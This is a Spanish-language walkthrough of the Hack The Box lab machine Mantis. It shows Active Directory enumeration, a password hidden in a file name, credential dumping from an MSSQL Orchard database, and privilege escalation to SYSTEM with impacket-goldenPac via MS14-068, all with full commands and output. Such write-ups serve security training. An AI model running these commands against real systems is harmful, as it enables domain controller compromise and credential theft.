Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos de AD abiertos entre ellos smb, kerberos y otros
❯ nmap 10.10.10.52
Nmap scan report for 10.10.10.52
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1337/tcp open waste
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
8080/tcp open http-proxy
9389/tcp open adws
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49166/tcp open unknown
49170/tcp open unknown
49174/tcp open unknown
50255/tcp open unknown
Con crackmapexec podemos obtener información de la maquina asi como el dominio que es htb.local ademas del nombre que parece es mantis
❯ crackmapexec smb 10.10.10.52
SMB 10.10.10.52 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina mantis como otro dominio
❯ echo "10.10.10.52 htb.local mantis.htb.local" | sudo tee -a /etc/hosts
Al usar kerbrute pasandole un dicceionario de usuarios perteneciente a el repo de seclists logramos identificar solo a 3 usuarios existentes de parte del dominio
❯ kerbrute userenum -d htb.local --dc mantis.htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> mantis.htb.local:88
> [+] VALID USERNAME: administrator@htb.local
> [+] VALID USERNAME: james@htb.local
> [+] VALID USERNAME: mantis@htb.local
Con una lista de usuarios podemos probar un ASREPRoast, ninguno es vulnerable
❯ impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mantis doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
El puerto 8080 esta abierto en la máquina, sin embargo despues de buscar y probar diferentes vulnerabilidades no encontramos absolutamente nada interesante
También tenemos el puerto 1337 abierto, este puerto tambien corre una pagina web sin embargo la principal es solo un simple panel de IIS version 7 por defecto
Usando wfuzz podemos encontrar 2 directorios, sin embargo el directorio orchard nos devuelve un codigo de estado 500. secure_notes que nos devuelve un 301
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mantis.htb.local:1337/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mantis.htb.local:1337/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000024818: 500 72 L 241 W 3026 Ch "orchard"
000095776: 301 1 L 10 W 165 Ch "secure_notes"
Al abrir el directorio /secure_notes podemos encontrar 2 archivos, el primero es un archivo con doble extensión .txt y el otro un web.config que llama la atencion
Aunque el web.config parece bastante interesante al abrirla nos devuelve 404
Access - admin
El archivo .txt contiene algunas notas, la numero 2 es bastante interesante, nos habla de algo de descargar MSSQLServer, crear un usuario admin y una db
Lo interesante esta en el nombre del archivo, este es un base64 que al decodearlo nos deja una cadena en hexadecimal y al decodearla parece una contraseña
❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
6d2424716c5f53405f504073735730726421
❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d | xxd -ps -r
m$$ql_S@_P@ssW0rd!
Las notas nos dice que el usuario es admin, asi que con crackmapexec comprobamos la contraseña para la db, esta autenticacion devuelve que es valida
❯ crackmapexec mssql mantis.htb.local -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth
MSSQL htb.local 1433 MANTIS [*] Windows 6.1 Build 7601 (name:MANTIS) (domain:MANTIS)
MSSQL htb.local 1433 MANTIS [+] admin:m$$ql_S@_P@ssW0rd!
Podemos simplemente usar mssqlclient para conectarnos como el usuario admin
❯ impacket-mssqlclient htb.local/admin:'m$$ql_S@_P@ssW0rd!'@mantis.htb.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
Access - james
Como este usuario no podemos habilitar el modulo xp_cmdshell para ejecutar comandos, iniciaremos enumerando las bases de datos existentes en el servidor
SQL> select name from sysdatabases;
name
---------
master
tempdb
model
msdb
orcharddb
SQL>
Ya que solo parece interesante la base de datos orcharddb nos conectamos a ella con use, ya que el resto son las bases de datos que vienen por defecto en mssql
SQL> use orcharddb;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: orcharddb
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'orcharddb'.
SQL>
Enumerando las tablas de las bases de datos orcharddb podemos filtrar por aquellas que tengas la string user en ellas, solo encontramos 2 con esta condicion
SQL> select name from sys.tables where name like '%user%';
name
--------------------------------------
blog_Orchard_Users_UserPartRecord
blog_Orchard_Roles_UserRolesPartRecord
SQL>
Finalmente listamos las columnas de una de las tablas anteriores, la cual contiene posibles credenciales de usuarios en las columnas UserName y Password
SQL> select name from sys.columns where object_id = object_id('blog_Orchard_Users_UserPartRecord');
name
-------------------
Id
UserName
Email
NormalizedUserName
Password
PasswordFormat
HashAlgorithm
PasswordSalt
RegistrationStatus
EmailStatus
EmailChallengeToken
CreatedUtc
LastLoginUtc
LastLogoutUtc
SQL>
Al leer el contenido de estas columnas podemos encontrar 2 posibles credenciales validas, las de admin en base64 y las del usuario James en texto claro
SQL> select username,password from blog_Orchard_Users_UserPartRecord
username password
-------- --------------------------------------------------------------------
admin AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==
James J@m3s_P@ssW0rd!
SQL>
Las credenciales del usuario James son validas, sin embargo al listar los recursos compartidos por SMB no tenemos privilegios realmente interesantes
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --shares
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [+] Enumerated shares
SMB htb.local 445 MANTIS Share Permissions Remark
SMB htb.local 445 MANTIS ----- ----------- ------
SMB htb.local 445 MANTIS ADMIN$ Remote Admin
SMB htb.local 445 MANTIS C$ Default share
SMB htb.local 445 MANTIS IPC$ Remote IPC
SMB htb.local 445 MANTIS NETLOGON READ Logon server share
SMB htb.local 445 MANTIS SYSVOL READ Logon server share
Shell - Administrator
Curiosamente el usuario James pertenece al grupo Remote Desktop Users, sin embargo el puerto 3389 no esta abierto por lo que no podemos conectarnos
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --groups 'Remote Desktop Users'
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [+] Enumerated members of domain group
SMB htb.local 445 MANTIS htb.local\james
La via principal es explotar la máquina es a través del MS14-068, podemos usar goldenPac pasandole las credenciales de James y obtener una shell como el usuario nt authority\system, usuario que tiene maximos privilegios sobre el equipo
❯ impacket-goldenPac htb.local/James:'J@m3s_P@ssW0rd!'@mantis.htb.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file UUQRfehy.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service FNmo on mantis.htb.local.....
[*] Starting service FNmo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\James\Desktop\user.txt
552**************************e4a
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
6a1**************************50d
C:\Windows\system32>